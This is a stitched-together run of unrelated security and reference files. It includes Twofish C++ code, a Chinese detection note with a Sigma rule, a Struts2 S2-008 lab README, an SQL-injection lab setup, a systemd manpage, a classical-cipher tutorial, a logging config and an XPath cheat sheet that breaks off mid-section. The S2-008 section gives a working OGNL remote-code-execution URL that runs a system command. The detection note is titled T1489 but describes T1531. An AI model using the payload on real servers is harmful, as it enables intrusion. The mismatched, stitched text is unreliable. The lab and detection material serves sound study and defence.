* It is possible to perform these computations faster by using 32-bit
* word operations, but that is not portable and this is not a speed-
* critical area.
*
* We explained the 1/x computation when we did the MDS matrix.
*
* The S vector is stored in K[32..64].
* The S vector has to be reversed, so we loop cross-wise.
*
* Note the weird byte spacing of the S-vector, to match the even
* or odd key words arrays. See the discussion at the Hxx macros for
* details.
*/
kptr = K + 8*kCycles; /* Start at end of key */
sptr = K + 32; /* Start at start of S */
/* Loop over all key material */
while( kptr > K )
{
kptr -= 8;
/*
* Initialise the polynimial in sptr[0..12]
* The first four coefficients are 0 as we have to multiply by y^4.
* The next 8 coefficients are from the key material.
*/
memset( sptr, 0, 4 );
memcpy( sptr+4, kptr, 8 );
/*
* The 12 bytes starting at sptr are now the coefficients of
* the polynomial we need to reduce.
*/
/* Loop over the polynomial coefficients from high to low */
t = sptr+11;
/* Keep looping until polynomial is degree 3; */
while( t > sptr+3 )
{
/* Pick up the highest coefficient of the poly. */
b = *t;
/*
* Compute x and (x+1/x) times this coefficient.
* See the MDS matrix implementation for a discussion of
* multiplication by x and 1/x. We just use different
* constants here as we are in a
* different finite field representation.
*
* These two statements set
* bx = (x) * b
* bxx= (x + 1/x) * b
*/
bx = (Twofish_Byte)((b<<1) ^ rs_poly_const[ b>>7 ]);
bxx= (Twofish_Byte)((b>>1) ^ rs_poly_div_const[ b&1 ] ^ bx);
/*
* Subtract suitable multiple of
* y^4 + (x + 1/x)y^3 + (x)y^2 + (x + 1/x)y + 1
* from the polynomial, except that we don't bother
* updating t[0] as it will become zero anyway.
*/
t[-1] ^= bxx;
t[-2] ^= bx;
t[-3] ^= bxx;
t[-4] ^= b;
/* Go to the next coefficient. */
t--;
}
/* Go to next S-vector word, obeying the weird spacing rules. */
sptr += 8;
}
/* Wipe variables that contained key material. */
b = bx = bxx = 0;
/* And finally, we can compute the key-dependent S-boxes. */
fill_keyed_sboxes( &K[32], kCycles, xkey );
/* Wipe array that contained key material. */
memset( K, 0, sizeof( K ) );
}
/*
* We can now start on the actual encryption and decryption code.
* As these are often speed-critical we will use a lot of macros.
*/
/*
* The g() function is the heart of the round function.
* We have two versions of the g() function, one without an input
* rotation and one with.
* The pre-computed S-boxes make this pretty simple.
*/
#define g0(X,xkey) (xkey->s[0][b0(X)]^xkey->s[1][b1(X)]^xkey->s[2][b2(X)]^xkey->s[3][b3(X)])
#define g1(X,xkey) (xkey->s[0][b3(X)]^xkey->s[1][b0(X)]^xkey->s[2][b1(X)]^xkey->s[3][b2(X)])
/*
* A single round of Twofish. The A,B,C,D are the four state variables,
* T0 and T1 are temporaries, xkey is the expanded key, and r the
* round number.
*
* Note that this macro does not implement the swap at the end of the round.
*/
#define ENCRYPT_RND( A,B,C,D, T0, T1, xkey, r ) \
T0 = g0(A,xkey); T1 = g1(B,xkey);\
C ^= T0+T1+xkey->K[8+2*(r)]; C = ROR32(C,1);\
D = ROL32(D,1); D ^= T0+2*T1+xkey->K[8+2*(r)+1]
/*
* Encrypt a single cycle, consisting of two rounds.
* This avoids the swapping of the two halves.
* Parameter r is now the cycle number.
*/
#define ENCRYPT_CYCLE( A, B, C, D, T0, T1, xkey, r ) \
ENCRYPT_RND( A,B,C,D,T0,T1,xkey,2*(r) );\
ENCRYPT_RND( C,D,A,B,T0,T1,xkey,2*(r)+1 )
/* Full 16-round encryption */
#define ENCRYPT( A,B,C,D,T0,T1,xkey ) \
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 0 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 1 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 2 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 3 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 4 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 5 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 6 );\
ENCRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 7 )
/*
* A single round of Twofish for decryption. It differs from
* ENCRYPT_RND only because of the 1-bit rotations.
*/
#define DECRYPT_RND( A,B,C,D, T0, T1, xkey, r ) \
T0 = g0(A,xkey); T1 = g1(B,xkey);\
C = ROL32(C,1); C ^= T0+T1+xkey->K[8+2*(r)];\
D ^= T0+2*T1+xkey->K[8+2*(r)+1]; D = ROR32(D,1)
/*
* Decrypt a single cycle, consisting of two rounds.
* This avoids the swapping of the two halves.
* Parameter r is now the cycle number.
*/
#define DECRYPT_CYCLE( A, B, C, D, T0, T1, xkey, r ) \
DECRYPT_RND( A,B,C,D,T0,T1,xkey,2*(r)+1 );\
DECRYPT_RND( C,D,A,B,T0,T1,xkey,2*(r) )
/* Full 16-round decryption. */
#define DECRYPT( A,B,C,D,T0,T1, xkey ) \
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 7 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 6 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 5 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 4 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 3 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 2 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 1 );\
DECRYPT_CYCLE( A,B,C,D,T0,T1,xkey, 0 )
/*
* A macro to read the state from the plaintext and do the initial key xors.
* The koff argument allows us to use the same macro
* for the decryption which uses different key words at the start.
*/
#define GET_INPUT( src, A,B,C,D, xkey, koff ) \
A = GET32(src )^xkey->K[ koff]; B = GET32(src+ 4)^xkey->K[1+koff]; \
C = GET32(src+ 8)^xkey->K[2+koff]; D = GET32(src+12)^xkey->K[3+koff]
/*
* Similar macro to put the ciphertext in the output buffer.
* We xor the keys into the state variables before we use the PUT32
* macro as the macro might use its argument multiple times.
*/
#define PUT_OUTPUT( A,B,C,D, dst, xkey, koff ) \
A ^= xkey->K[ koff]; B ^= xkey->K[1+koff]; \
C ^= xkey->K[2+koff]; D ^= xkey->K[3+koff]; \
PUT32( A, dst ); PUT32( B, dst+ 4 ); \
PUT32( C, dst+8 ); PUT32( D, dst+12 )
/*
* Twofish block encryption
*
* Arguments:
* xkey expanded key array
* p 16 bytes of plaintext
* c 16 bytes in which to store the ciphertext
*/
void Twofish::Encrypt(const TwofishKey* xkey,const Twofish_Byte p[16],Twofish_Byte c[16])
{
Twofish_UInt32 A,B,C,D,T0,T1; /* Working variables */
/* Get the four plaintext words xorred with the key */
GET_INPUT( p, A,B,C,D, xkey, 0 );
/* Do 8 cycles (= 16 rounds) */
ENCRYPT( A,B,C,D,T0,T1,xkey );
/* Store them with the final swap and the output whitening. */
PUT_OUTPUT( C,D,A,B, c, xkey, 4 );
}
/*
* Twofish block decryption.
*
* Arguments:
* xkey expanded key array
* c 16 bytes of ciphertext
* p 16 bytes in which to store the plaintext
*/
void Twofish::Decrypt(const TwofishKey* xkey,const Twofish_Byte c[16],Twofish_Byte p[16])
{
Twofish_UInt32 A,B,C,D,T0,T1; /* Working variables */
/* Get the four plaintext words xorred with the key */
GET_INPUT( c, A,B,C,D, xkey, 4 );
/* Do 8 cycles (= 16 rounds) */
DECRYPT( A,B,C,D,T0,T1,xkey );
/* Store them with the final swap and the output whitening. */
PUT_OUTPUT( C,D,A,B, p, xkey, 0 );
}
void TwofishKey::Clear()
{
memset(this,0,sizeof(*this));
}
/*
* Using the macros it is easy to make special routines for
* CBC mode, CTR mode etc. The only thing you might want to
* add is a XOR_PUT_OUTPUT which xors the outputs into the
* destinationa instead of overwriting the data. This requires
* a XOR_PUT32 macro as well, but that should all be trivial.
*
* I thought about including routines for the separate cipher
* modes here, but it is unclear which modes should be included,
* and each encryption or decryption routine takes up a lot of code space.
* Also, I don't have any test vectors for any cipher modes
* with Twofish.
*/
|
sec-knowleage
|
# T1489-win-停止服务
## 来自ATT&CK的描述
攻击者可能会禁止合法访问使用的帐户,从而中断系统和网络资源的可用性。可以删除,锁定或操纵帐户(例如,更改凭据)以影响合法用户对系统或网络资源的访问。
## 测试案例
- 事件ID 4723-试图更改帐户密码
- 事件ID 4724-尝试重置帐户密码
- 事件ID 4726-用户帐户已删除
- 事件ID 4740-用户帐户被锁定
## 检测日志
windows 安全日志
## 测试复现
较为简单,未做复现
## 测试留痕
较为简单,未做复现,暂无测试留痕数据
## 检测规则/思路
### sigma规则
```yml
title: windows下可疑的用户账户访问权限
tags: T1531
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4723 #试图更改帐户密码
- 4724 #尝试重置帐户密码
- 4726 #用户帐户已删除
- 4740 #用户帐户被锁定
condition: selection
level: low
```
## 建议
使用进程监视来检测与删除帐户或更改密码(例如使用Net)有关的二进制文件的执行和命令行参数。Windows事件日志还可以指定与攻击者试图删除对帐户的访问权相关的活动:
- 事件ID 4723-试图更改帐户密码
- 事件ID 4724-尝试重置帐户密码
- 事件ID 4726-用户帐户已删除
- 事件ID 4740-用户帐户被锁定
网络上的警报和这些事件ID可能会产生高度的误报,因此请与有关如何通常使用系统的基准知识进行比较,并在可能的情况下将修改事件与其他恶意活动指示相关联。
## 参考推荐
MITRE-ATT&CK-T1531
<https://attack.mitre.org/techniques/T1531/>
|
sec-knowleage
|
# S2-008 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.1.0 - 2.3.1
Details: http://struts.apache.org/docs/s2-008.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
> S2-008 involves multiple vulnerabilities. Cookie interceptor configuration problem can cause OGNL expressions execute, but most web containers (such as Tomcat) have character restrictions for cookie names, some key characters cannot be used. Another point is that if the struts2 turn on `devMode` mode, there are multiple debug interfaces that can directly view object information or execute commands. As Kxlzx(author) mentions, this situation is almost impossible in the real environment. So it becomes It's very useless, but I don't think it's absolute. It's possible to hack a struts2 application that turn on `debug` mode on the server as a backdoor.
For example, adding the parameter `?debug=command&expression=<OGNL EXP>` in `devMode` mode, OGNL expression will be executed directly and you can execute the command:
```
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
```
|
sec-knowleage
|
# asp站点搭建
---
服务器管理器, 新增角色,开启 iis 服务,asp,aspx 管理控制台啥的都勾选
访问 http://localhost/ ,确认可以访问即可
以 [Larryxi/MSSQL-SQLi-Labs](https://github.com/Larryxi/MSSQL-SQLi-Labs) 靶场环境搭建为例
```
curl -o MSSQL-SQLi-Labs-master.zip https://github.ffffffff0x.com/https://github.com/No-Github/Archive2/releases/download/0.0.0/MSSQL-SQLi-Labs-master.zip
```
下载解压放到 iis 目录下,比如我这里放到 /sql 文件夹下,修改 config.asp
进入数据库管理工具,在MSSQL数据库中新建一个 test 数据库
访问本地 localhost/sql/install.asp
可以看到初始化配置成功
|
sec-knowleage
|
'\" t
.TH "MODULES\-LOAD\&.D" "5" "" "systemd 231" "modules-load.d"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
modules-load.d \- 配置启动时加载哪些内核模块
.SH "SYNOPSIS"
.PP
/etc/modules\-load\&.d/*\&.conf
.PP
/run/modules\-load\&.d/*\&.conf
.PP
/usr/lib/modules\-load\&.d/*\&.conf
.SH "描述"
.PP
\fBsystemd-modules-load.service\fR(8)
从上述目录中读取 *\&.conf 文件,这些 *\&.conf 文件中静态的包含了 需要在系统启动时无条件加载的内核模块列表。 配置文件的名称必须符合
\fIprogram\fR\&.conf
风格。 注意,更好的做法是利用模块内基于 PCI ID, USB ID, DMI ID 之类的触发机制 进行动态自动加载,而不是使用这些配置文件无条件的加载。 实际上,绝大多数内核模块 都可以被动态的自动加载。
.SH "配置文件格式"
.PP
配置文件应该简单的包含一系列需要加载的 内核模块的名称,每个模块名称之间使用换行符分隔。 空白行和以 # 或 ; 开头的行 将被忽略。
.SH "配置目录及其优先级"
.PP
配置文件依次从
/etc/,
/run/,
/usr/lib/
目录中读取。 配置文件的名称必须符合
\fIfilename\fR\&.conf
格式。 对于不同目录下的同名配置文件,仅以优先级最高的目录中的那一个为准。 具体说来就是:
/etc/
的优先级最高、
/run/
的优先级居中、
/usr/lib/
的优先级最低。
.PP
软件包应该将自带的配置文件安装在
/usr/lib/
目录中。
/etc/
目录仅供系统管理员使用。 所有的配置文件(无论位于哪个目录中),统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序,建议给所有配置文件 都加上两位十进制数字的文件名前缀。
.PP
如果系统管理员想要屏蔽
/usr/lib/
目录中的某个配置文件, 那么最佳做法是在
/etc/
目录中 创建一个指向
/dev/null
的同名符号链接, 即可彻底屏蔽
/usr/lib/
目录中的同名文件。 如果软件包自带的某个配置文件位于 initrd 镜像中, 那么还必须重新生成 initrd 镜像。
.SH "例子"
.PP
\fBExample\ \&1.\ \&/etc/modules\-load\&.d/virtio\-net\&.conf 文件:\fR
.sp
.if n \{\
.RS 4
.\}
.nf
# 在启动时无条件的加载 virtio\-net\&.ko 模块
virtio\-net
.fi
.if n \{\
.RE
.\}
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-modules-load.service\fR(8),
\fBsystemd-delta\fR(1),
\fBmodprobe\fR(8)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
### 多表代换加密Playfair原理
Playfair 密码(Playfair cipher or Playfair square)是一种替换密码,1854 年由英国人查尔斯·惠斯通(Charles Wheatstone)发明,基本算法如下:
1. 选取一串英文字母,除去重复出现的字母,将剩下的字母逐个逐个加入 5 × 5 的矩阵内,剩下的空间由未加入的英文字母依 a-z 的顺序加入。注意,将 q 去除,或将 i 和 j 视作同一字。
2. 将要加密的明文分成两个一组。若组内的字母相同,将 X(或 Q)加到该组的第一个字母后,重新分组。若剩下一个字,也加入 X 。
3. 在每组中,找出两个字母在矩阵中的地方。
- 若两个字母不同行也不同列,在矩阵中找出另外两个字母(第一个字母对应行优先),使这四个字母成为一个长方形的四个角。
- 若两个字母同行,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
- 若两个字母同列,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。
新找到的两个字母就是原本的两个字母加密的结果。
以 playfair example 为密匙,得
```
P L A Y F
I R E X M
B C D G H
K N O Q S
T U V W Z
```
要加密的讯息为 Hide the gold in the tree stump
```
HI DE TH EG OL DI NT HE TR EX ES TU MP
```
就会得到
```
BM OD ZB XD NA BE KU DM UI XM MO UV IF
```
### 多表代换加密Polybius原理
Polybius密码又称为棋盘密码,其一般是将给定的明文加密为两两组合的数字,其常用密码表
| | 1 | 2 | 3 | 4 | 5 |
| :--- | --- | --- | --- | --- | :--- |
| 1 | A | B | C | D | E |
| 2 | F | G | H | I/J | K |
| 3 | L | M | N | O | P |
| 4 | Q | R | S | T | U |
| 5 | V | W | X | Y | Z |
举个例子,明文 HELLO,加密后就是 23 15 31 31 34。
另一种密码表
| | A | D | F | G | X |
| --- | --- | --- | --- | --- | --- |
| A | b | t | a | l | p |
| D | d | h | o | z | k |
| F | q | f | v | s | n |
| G | g | j | c | u | x |
| X | m | r | e | w | y |
注意,这里字母的顺序被打乱了。
A D F G X 的由来:
> 1918 年,第一次世界大战将要结束时,法军截获了一份德军电报,电文中的所有单词都由 A、D、F、G、X 五个字母拼成,因此被称为 ADFGX 密码。ADFGX 密码是 1918 年 3 月由德军上校 Fritz Nebel 发明的,是结合了 Polybius 密码和置换密码的双重加密方案。
举个例子,HELLO,使用这个表格加密,就是 DD XF AG AG DF。
### 多表代换加密Polybius例子
这里以安恒杯 9 月 Crypto 赛题 Go 为例,题目为:
> 密文:ilnllliiikkninlekile
> 压缩包给了一行十六进制:546865206c656e677468206f66207468697320706c61696e746578743a203130
> 请对密文解密
首先对十六进制进行 hex 解码,得到字符串:"The length of this plaintext: 10"
密文长度为 20 ,而明文长度为 10 ,密文只有 " l "," i "," n "," k "," e " 这五个字符,联想到棋盘密码。
首先试一下五个字符按字母表顺序排列:
| | e | i | k | l | n |
| :--- | --- | --- | --- | --- | :--- |
| e | A | B | C | D | E |
| i | F | G | H | I/J | K |
| k | L | M | N | O | P |
| l | Q | R | S | T | U |
| n | V | W | X | Y | Z |
根据密文解密得:iytghpkqmq。
这应该不是我们想要的 flag 答案。
看来这五个字符排列不是这么排列的,一共有 5! 种情况,写脚本爆破:
```python
import itertools
key = []
cipher = "ilnllliiikkninlekile"
for i in itertools.permutations('ilnke', 5):
key.append(''.join(i))
for now_key in key:
solve_c = ""
res = ""
for now_c in cipher:
solve_c += str(now_key.index(now_c))
for i in range(0,len(solve_c),2):
now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
if now_ascii>ord('i'):
now_ascii+=1
res += chr(now_ascii)
if "flag" in res:
print now_key,res
```
脚本其实就是实现棋盘密码这个算法,只是这五个字符的顺序不定。
跑出下面两个结果:
> linke flagishere
> linek flagkxhdwd
显然第一个是我们想要的答案。
附上正确的密码表:
| | l | i | n | k | e |
| :--- | --- | --- | --- | --- | :--- |
| l | A | B | C | D | E |
| i | F | G | H | I/J | K |
| n | L | M | N | O | P |
| k | Q | R | S | T | U |
| e | V | W | X | Y | Z |
### Vigenere 维吉尼亚密码原理
维吉尼亚密码(Vigenere)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。
下面给出一个例子
```
明文:come greatwall
密钥:crypto
```
首先,对密钥进行填充使其长度与明文长度一样。
| 明文 | c | o | m | e | g | r | e | a | t | w | a | l | l |
| ---- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 密钥 | c | r | y | p | t | o | c | r | y | p | t | o | c |
其次,查表得密文
```
明文:come greatwall
密钥:crypto
密文:efkt zferrltzn
```
### Vigenere 维吉尼亚密码破解
对包括维吉尼亚密码在内的所有多表密码的破译都是以字母频率为基础的,但直接的频率分析却并不适用,这是因为在维吉尼亚密码中,一个字母可以被加密成不同的密文,因而简单的频率分析在这里并没有用。
**破译维吉尼亚密码的关键在于它的密钥是循环重复的。** 如果我们知道了密钥的长度,那密文就可以被看作是交织在一起的凯撒密码,而其中每一个都可以单独破解。关于密码的长度,我们可以 使用卡西斯基试验和弗里德曼试验来获取。
卡西斯基试验是基于类似 the 这样的常用单词有可能被同样的密钥字母进行加密,从而在密文中重复出现。例如,明文中不同的 CRYPTO 可能被密钥 ABCDEF 加密成不同的密文:
```
密钥:ABCDEF AB CDEFA BCD EFABCDEFABCD
明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY
密文:CSASXT IT UKSWT GQU GWYQVRKWAQJB
```
此时明文中重复的元素在密文中并不重复。然而,如果密钥相同的话,结果可能便为(使用密钥 ABCD):
```
密钥:ABCDAB CD ABCDA BCD ABCDABCDABCD
明文:CRYPTO IS SHORT FOR CRYPTOGRAPHY
密文:CSASTP KV SIQUT GQU CSASTPIUAQJB
```
此时卡西斯基试验就能产生效果。对于更长的段落此方法更为有效,因为通常密文中重复的片段会更多。如通过下面的密文就能破译出密钥的长度:
```
密文:DYDUXRMHTVDVNQDQNWDYDUXRMHARTJGWNQD
```
其中,两个 DYDUXRMH 的出现相隔了 18 个字母。因此,可以假定密钥的长度是 18 的约数,即长度为 18、9、6、3 或 2。而两个 NQD 则相距 20 个字母,意味着密钥长度应为 20、10、5、4 或 2。取两者的交集,则可以基本确定密钥长度为 2。接下来就是进行进一步的操作了。
关于更加详细的破解原理,这里暂时不做过多的介绍。可以参考http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/。
### Vigenere 维吉尼亚密码工具
- 已知密钥
- Python 的 pycipher 库
- [在线解密 Vigenère cipher](http://planetcalc.com/2468/)
- CAP4
- 未知密钥
- [Vigenère Cipher Codebreaker](http://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
- [Vigenere Solver](https://www.guballa.de/vigenere-solver) ,不够完善。
### Nihilist原理
Nihilist密码又称关键字密码:明文 + 关键字 = 密文。以关键字 helloworld 为例。
首先利用密钥构造棋盘矩阵(类似 Polybius 密码)
- 新建一个 5 × 5 矩阵
- 将字符不重复地依次填入矩阵
- 剩下部分按字母顺序填入
- 字母 i 和 j 等价
| | 1 | 2 | 3 | 4 | 5 |
| --- | --- | --- | ----- | --- | --- |
| 1 | h | e | l | o | w |
| 2 | r | d | a | b | c |
| 3 | f | g | i / j | k | m |
| 4 | n | p | q | s | t |
| 5 | u | v | x | y | z |
对于加密过程参照矩阵 M 进行加密:
```
a -> M[2,3] -> 23
t -> M[4,5] -> 45
```
对于解密过程
参照矩阵 M 进行解密:
```
23 -> M[2,3] -> a
45 -> M[4,5] -> t
```
可以看出,密文的特征有如下几点
- 纯数字
- 只包含 1 到 5
- 密文长度偶数。
### Hill原理
希尔密码(Hill)使用每个字母在字母表中的顺序作为其对应的数字,即A=0,B=1,C=2 等,然后将明文转化为 n 维向量,跟一个 n × n 的矩阵相乘,再将得出的结果模 26。注意用作加密的矩阵(即密匙)在 $\mathbb{Z}_{26}^{n}$ 必须是可逆的,否则就不可能解码。只有矩阵的行列式和 26 互质,才是可逆的。下面举一个例子
```
明文:ACT
```
将明文化为矩阵。
$$
\begin{bmatrix}
0\\
2\\
19
\end{bmatrix}
$$
假设密钥为:
$$
\begin{bmatrix}
6 & 24 & 1\\
13 & 16 & 10\\
20 & 17 & 15
\end{bmatrix}
$$
加密过程为:
$$
\begin{bmatrix}
6 & 24 & 1\\
13 & 16 & 10\\
20 & 17 & 15
\end{bmatrix}
\begin{bmatrix}
0\\
2\\
19
\end{bmatrix}
\equiv
\begin{bmatrix}
67\\
222\\
319
\end{bmatrix}
\equiv
\begin{bmatrix}
15\\
14\\
7
\end{bmatrix}
\bmod 26
$$
密文即为
```
密文:POH
```
### Hill工具
- http://www.practicalcryptography.com/ciphers/hill-cipher/
- CAP4
- Cryptool
### Hill例子
这里我们以ISCC 2015 base decrypt 150为例进行介绍,题目为
> 密文: 22,09,00,12,03,01,10,03,04,08,01,17 (wjamdbkdeibr)
>
> 使用的矩阵是 1 2 3 4 5 6 7 8 10
>
> 请对密文解密.
首先,矩阵是 3 × 3 的。说明每次加密3个字符。我们直接使用 Cryptool,需要注意的是,这个矩阵是按照列来排布的。即如下
```
1 4 7
2 5 8
3 6 10
```
最后的结果为 `overthehillx`。
### AutokeyCipher原理
自动密钥密码(Autokey Cipher)也是多表替换密码,与维吉尼亚密码密码类似,但使用不同的方法生成密钥。通常来说它要比维吉尼亚密码更安全。自动密钥密码主要有两种,关键词自动密钥密码和原文自动密钥密码。下面我们以关键词自动密钥为例:
```
明文:THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
关键词:CULTURE
```
自动生成密钥:
```
CULTURE THE QUICK BROWN FOX JUMPS OVER THE
```
接下来的加密过程和维吉尼亚密码类似,从相应的表格可得:
密文
```
VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK
```
### AutokeyCipher工具
- 已知关键词
- Python 的 pycipher 库
- 未知关键词
- http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/
- **tools 文件夹下 break_autokey.py,待完成。**
|
sec-knowleage
|
# you can override this using by setting a system property, for example -Des.logger.level=DEBUG
es.logger.level: INFO
rootLogger: ${es.logger.level}, console
logger:
# log action execution errors for easier debugging
action: DEBUG
# reduce the logging for aws, too much is logged under the default INFO
com.amazonaws: WARN
appender:
console:
type: console
layout:
type: consolePattern
conversionPattern: "[%d{ISO8601}][%-5p][%-25c] %m%n"
|
sec-knowleage
|
---
title: XPath
date: 2020-12-19 22:15:43
background: bg-[#77aeeb]
tags:
- document
- expression
- select
categories:
- Toolkit
intro: |
This is an [XPath](https://en.wikipedia.org/wiki/XPath) selectors cheat sheet, which lists commonly used XPath positioning methods and CSS selectors
plugins:
- copyCode
---
XPath Selectors {.cols-6}
--------
### Getting started {.col-span-2}
- [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_
Test in Firefox or Chrome console:
```console
$x('/html/body')
$x('//h1')
$x('//h1')[0].innerText
$x('//a[text()="XPath"]')[0].click()
```
### Descendant selectors {.col-span-2}
| Xpath | CSS |
|--------------|--------------|
| `//h1` | h1 |
| `//div//p` | div p |
| `//ul/li` | ul > li |
| `//ul/li/a` | ul > li > a |
| `//div/*` | div > * |
| `/` | :root |
| `/html/body` | :root > body |
{.show-header}
### Order selectors {.col-span-2}
| Xpath | CSS |
|---------------------|----------------------|
| `//ul/li[1]` | ul > li:first-child |
| `//ul/li[2]` | ul > li:nth-child(2) |
| `//ul/li[last()]` | ul > li:last-child |
| `//li[@id="id"][1]` | li#id:first-child |
| `//a[1]` | a:first-child |
| `//a[last()]` | a:last-child |
{.show-header}
### Attribute selectors {.col-span-3 .row-span-2}
| Xpath | CSS |
|---------------------------------|----------------------|
| `//*[@id="id"]` | #id |
| `//*[@class="class"]` | .class |
| `//input[@type="submit"]` | input[type="submit"] |
| `//a[@id="abc"][@for="xyz"]` | a#abc[for="xyz"] |
| `//a[@rel]` | a[rel] |
| `//a[starts-with(@href, '/')]` | a[href^='/'] |
| `//a[ends-with(@href, '.pdf')]` | a[href$='pdf'] |
| `//a[contains(@href, '://')]` | a[href*='`:`//'] |
| `//a[contains(@rel, 'help')]` | a[rel~='help'] |
{.show-header}
### Siblings {.col-span-3}
| Xpath | CSS |
|--------------------------------------|----------|
| `//h1/following-sibling::ul` | h1 ~ ul |
| `//h1/following-sibling::ul[1]` | h1 + ul |
| `//h1/following-sibling::[@id="id"]` | h1 ~ #id |
{.show-header}
### jQuery {.col-span-3}
| Xpath | CSS |
|----------------------------------|----------------------------|
| `//ul/li/..` | $('ul > li').parent() |
| `//li/ancestor-or-self::section` | $('li').closest('section') |
| `//a/@href` | $('a').attr('href') |
| `//span/text()` | $('span').text() |
{.show-header}
### Misc selectors {.col-span-3}
| Xpath | CSS |
|-----------------------------------|---------------------------|
| `//h1[not(@id)]` | h1:not([id]) |
| `//button[text()="Submit"]` | Text match |
| `//button[contains(text(),"Go")]` | Text contains (substring) |
| `//product[@price > 2.50]` | Arithmetic |
| `//ul[*]` | Has children |
| `//ul[li]` | Has children (specific) |
| `//a[@name or @href]` | Or logic |
| `//a | //div` | Union (joins results) |
{.show-header}
XPath Expressions
-----------
### Steps and axes {.secondary}
<br/>
| - | - | - | - |
|------|------|------|-----------------|
| `//` | `ul` | `/` | `a[@id='link']` |
| Axis | Step | Axis | Step |
{.left-text}
### Prefixes
| Prefix | Example | Means |
|--------|-----------------------|----------|
| `//` | `//hr[@class='edge']` | Anywhere |
| `/` | `/html/body/div` | Root |
| `./` | `./div/p` | Relative |
{.show-header}
### Axes
| Axis | Example | Means |
|------|---------------------|------------|
| `/` | `//ul/li/a` | Child |
| `//` | `//[@id="list"]//a` | Descendant |
{.show-header}
XPath Predicates
----------
### Predicates
```bash
//div[true()]
//div[@class="head"]
//div[@class="head"][@id="top"]
```
Restricts a nodeset only if some condition is true. They can be chained.
### Operators
```bash
# Comparison
//a[@id = "xyz"]
//a[@id != "xyz"]
//a[@price > 25]
```
```bash
# Logic (and/or)
//div[@id="head" and position()=2]
//div[(x and y) or not(z)]
```
### Using nodes
```bash
# Use them inside functions
//ul[count(li) > 2]
//ul[count(li[@class='hide']) > 0]
```
```bash
# Returns `<ul>` that has a `<li>` child
//ul[li]
```
You can use nodes inside predicates.
### Indexing
```bash
//a[1] # first <a>
//a[last()] # last <a>
//ol/li[2] # second <li>
//ol/li[position()=2] # same as above
//ol/li[position()>1] #:not(:first-child)
```
Use `[]` with a number, or `last()` or `position()`.
### Chaining order
```bash
a[1][@href='/']
a[@href='/'][1]
```
Order is significant, these two are different.
### Nesting predicates
```
//section[.//h1[@id='hi']]
```
This returns `<section>` if it has an `<h1>` descendant with `id='hi'`.
XPath Functions {.cols-2}
---------
### Node functions
```bash
name() # //[starts-with(name(), 'h')]
text() # //button[text()="Submit"]
# //button/text()
lang(str)
namespace-uri()
```
```bash
count() # //table[count(tr)=1]
position() # //ol/li[position()=2]
```
### String functions
```bash
contains() # font[contains(@class,"head")]
starts-with() # font[starts-with(@class,"head")]
ends-with() # font[ends-with(@class,"head")]
```
```bash
concat(x,y)
substring(str, start, len)
substring-before("01/02", "/") #=> 01
substring-after("01/02", "/") #=> 02
translate()
normalize-space()
string-length()
```
### Boolean functions
```bash
not(expr) # button[not(starts-with(text(),"Submit"))]
```
### Type conversion
```bash
string()
number()
boolean()
```
XPath Axes {.cols-2}
----
### Using axes
```bash
